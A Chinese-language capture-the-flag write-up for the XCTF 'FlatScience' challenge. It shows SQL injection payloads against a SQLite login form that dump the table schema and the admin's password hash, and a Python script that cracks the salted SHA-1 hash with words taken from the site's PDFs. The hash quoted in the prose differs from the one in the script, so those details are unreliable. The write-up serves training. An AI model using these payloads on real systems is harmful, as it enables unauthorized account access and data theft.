XCTF FlatScience

XCTF FlatScience一.进入实验环境1.先来一波常规扫描:我们尝试访问login.php,查看源码发现它给了我们一个提示让我们传debug=xx果然得到有用的东西,根据语法可以知道使用的是sqlite数据库,分析代码可以知道通过post方式接受的参数没有做任何的过滤,如果id不为空就执行setcookie函数

大家好,欢迎来到IT知识分享网。

一.进入实验环境

  1.先来一波常规扫描:

  XCTF FlatScience

 

   我们尝试访问login.php,查看源码发现它给了我们一个提示让我们传debug=xx 

  XCTF FlatScience

 

   果然得到有用的东西,根据语法可以知道使用的是sqlite数据库,分析代码可以知道通过post方式接受的参数没有做任何的过滤,

  如果id不为空就执行   setcookie函数

  下面试试sql注入:

  post提交   usr=’ union select name, name from sqlite_master where type=’table’– &pw=1

  XCTF FlatScience

 

 

  根据返回的结果在set-Cookie中找到表名为Users,

  再通过  usr=’ union SELECT sql,sql FROM sqlite_master WHERE tbl_name = ‘Users’ and type = ‘table’– &pw=1

  返回创建Users表的sql语句:

  +CREATE+TABLE+Users%28id+int+primary+key%2Cname+varchar%28255%29%2Cpassword+varchar%28255%29%2Chint+varchar%28255%29%29;

  将其url解码:得    CREATE TABLE Users(id int primary key,name varchar(255),password varchar(255),hint varchar(255));XCTF FlatScience

 

 

  也就是Users表中 有 id,name,password,hint四个字段, 我们逐个查询里面的值:

  name = admin 。

  这三个查询也可以采用  usr=’ union select 1,group_concat(name) from sqlite_master where type=’table’– &pw=1

  通过 group_concat() 将查询到的全部的值拼成字符串,避免了用  limit 的繁琐。

  XCTF FlatScience

 

 

 

 

   password = +34b0bb7c304949f9ff2fc101eef0f048be10d3bd;

  XCTF FlatScience

 

 

 

  hint = my fav word in my paper。

   XCTF FlatScience

 

 

   再根据之前的代码可以分析到:在my favorite paper 中一个词语和Salz拼接后再shal加密的值等于 +34b0bb7c304949f9ff2fc101eef0f048be10d3bd

  XCTF FlatScience

 

   这里不可能一个个去找,所以看大佬的做法是自己用python爬取站点里所有pdf中的词,

  大佬的代码为:

from cStringIO import StringIO
from pdfminer.pdfinterp import PDFResourceManager, PDFPageInterpreter
from pdfminer.converter import TextConverter
from pdfminer.layout import LAParams
from pdfminer.pdfpage import PDFPage
import sys
import string
import os
import hashlib

def get_pdf():
    return [i for i in os.listdir("./") if i.endswith("pdf")]


def convert_pdf_2_text(path):
    rsrcmgr = PDFResourceManager()
    retstr = StringIO()
    device = TextConverter(rsrcmgr, retstr, codec='utf-8', laparams=LAParams())
    interpreter = PDFPageInterpreter(rsrcmgr, device)
    with open(path, 'rb') as fp:
        for page in PDFPage.get_pages(fp, set()):
            interpreter.process_page(page)
        text = retstr.getvalue()
    device.close()
    retstr.close()
    return text


def find_password():
    pdf_path = get_pdf()
    for i in pdf_path:
        print "Searching word in " + i
        pdf_text = convert_pdf_2_text(i).split(" ")
        for word in pdf_text:
            sha1_password = hashlib.sha1(word+"Salz!").hexdigest()
            if sha1_password == '3fab54a50e770d830c0416df817567662a9dc85c':
                print "Find the password :" + word
                exit()

if __name__ == "__main__":
    find_password()

  爬完之后 得到 登录密码为 ThinJerboa , 登录拿到flag。

XCTF FlatScience

 

免责声明:本站所有文章内容,图片,视频等均是来源于用户投稿和互联网及文摘转载整编而成,不代表本站观点,不承担相关法律责任。其著作权各归其原作者或其出版社所有。如发现本站有涉嫌抄袭侵权/违法违规的内容,侵犯到您的权益,请在线联系站长,一经查实,本站将立刻删除。 本文来自网络,若有侵权,请联系删除,如若转载,请注明出处:https://yundeesoft.com/32553.html

(0)

相关推荐

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注微信